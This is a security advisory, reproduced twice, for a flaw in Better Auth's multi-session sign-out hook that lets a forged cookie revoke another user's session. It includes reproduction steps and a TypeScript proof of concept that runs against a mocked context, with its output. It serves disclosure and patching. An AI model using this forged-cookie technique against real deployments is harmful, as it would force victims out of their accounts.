Headline
GHSA-wmjr-v86c-m9jj: Better Auth's multi-session sign-out hook allows forged cookies to revoke arbitrary sessions
Summary
- Vulnerable component:
multi-sessionplugin’s/sign-outafter-hook (packages/better-auth/src/plugins/multi-session/index.ts) - Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to
internalAdapter.deleteSessions, allowing forged cookies to revoke arbitrary sessions. - Status: Reproduced locally with updated proof-of-concept.
Impact
Any authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger /sign-out. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.
Product / Version
- Repository:
better-auth - Branch:
canary - Affected file:
packages/better-auth/src/plugins/multi-session/index.ts(current head) - Dependency configuration:
pnpm install, Bun runtime (bun v1.3.0)
Steps to Reproduce
- Clone the repository and install dependencies with
pnpm install. - Ensure Bun is installed.
- Save the proof-of-concept script below as
PROOF_OF_CONCEPTS/multi_session/force-signout.ts. - Run:
bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts - Observe the simulated adapter logging deletion of the attacker-chosen token.
Proof of Concept
Current PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):
import { multiSession } from "../../packages/better-auth/src/plugins/multi-session";
import type { AuthMiddleware } from "../../packages/core/src/api/index";
const plugin = multiSession();
const hook = plugin.hooks.after
?.slice()
.reverse()
.find((h) => h.matcher({ path: "/sign-out" } as any));
const deleteSessions = (tokenList: string[]) => {
console.log("deleteSessions invoked with:", tokenList);
};
const ctx = {
headers: new Headers({
cookie: "better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake",
}),
context: {
secret: "dummy-secret",
authCookies: {
sessionToken: {
name: "better-auth.session_token",
options: {},
},
},
internalAdapter: {
deleteSessions: deleteSessions,
},
},
getSignedCookie: async (name: string) => {
if (name.includes("_multi-")) {
// simulate forged cookie appearing valid
return "TARGETTOKEN";
}
return "my-valid-session";
},
setCookie: () => {},
json: () => {},
} as unknown as Parameters<AuthMiddleware>[0];
if (!hook) {
throw new Error("Sign-out hook not found");
}
(async () => {
await hook.handler(ctx as any);
})();
PoC Output
deleteSessions invoked with: [ "TARGETTOKEN" ]
This shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.
Root Cause
The multi-session sign-out hook parses cookies with parseCookies(cookieHeader) and, for every key matching the _multi- naming pattern, sets a blank cookie response and splits the value on . to extract the token. No call to ctx.getSignedCookie or equivalent verification occurs before invoking ctx.context.internalAdapter.deleteSessions(...).
Severity / CVSS
- Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H - Rationale: Logged-in attacker, no user interaction, compromise propagates across users; integrity and availability impact are high due to remote session revocation.
This vulnerability was discovered by winfunc.
Summary
- Vulnerable component: multi-session plugin’s /sign-out after-hook (packages/better-auth/src/plugins/multi-session/index.ts)
- Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to internalAdapter.deleteSessions, allowing forged cookies to revoke arbitrary sessions.
- Status: Reproduced locally with updated proof-of-concept.
Impact
Any authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger /sign-out. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.
Product / Version
- Repository: better-auth
- Branch: canary
- Affected file: packages/better-auth/src/plugins/multi-session/index.ts (current head)
- Dependency configuration: pnpm install, Bun runtime (bun v1.3.0)
Steps to Reproduce
Clone the repository and install dependencies with pnpm install.
Ensure Bun is installed.
Save the proof-of-concept script below as PROOF_OF_CONCEPTS/multi_session/force-signout.ts.
Run:
bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.tsObserve the simulated adapter logging deletion of the attacker-chosen token.
Proof of Concept
Current PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):
import { multiSession } from "…/…/packages/better-auth/src/plugins/multi-session"; import type { AuthMiddleware } from "…/…/packages/core/src/api/index";
const plugin = multiSession();
const hook = plugin.hooks.after ?.slice() .reverse() .find((h) => h.matcher({ path: “/sign-out” } as any));
const deleteSessions = (tokenList: string[]) => { console.log("deleteSessions invoked with:", tokenList); };
const ctx = { headers: new Headers({ cookie: "better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake", }), context: { secret: "dummy-secret", authCookies: { sessionToken: { name: "better-auth.session_token", options: {}, }, }, internalAdapter: { deleteSessions: deleteSessions, }, }, getSignedCookie: async (name: string) => { if (name.includes("_multi-")) { // simulate forged cookie appearing valid return "TARGETTOKEN"; } return "my-valid-session"; }, setCookie: () => {}, json: () => {}, } as unknown as Parameters<AuthMiddleware>[0];
if (!hook) { throw new Error(“Sign-out hook not found”); }
(async () => { await hook.handler(ctx as any); })();
PoC Output
deleteSessions invoked with: [ "TARGETTOKEN" ]
This shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.
Root Cause
The multi-session sign-out hook parses cookies with parseCookies(cookieHeader) and, for every key matching the _multi- naming pattern, sets a blank cookie response and splits the value on . to extract the token. No call to ctx.getSignedCookie or equivalent verification occurs before invoking ctx.context.internalAdapter.deleteSessions(…).
Severity / CVSS
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
- Rationale: Logged-in attacker, no user interaction, compromise propagates across users; integrity and availability impact are high due to remote session revocation.
This vulnerability was discovered by winfunc.
References
- GHSA-wmjr-v86c-m9jj
- better-auth/better-auth@cfc453a
- https://github.com/better-auth/better-auth/releases/tag/v1.4.0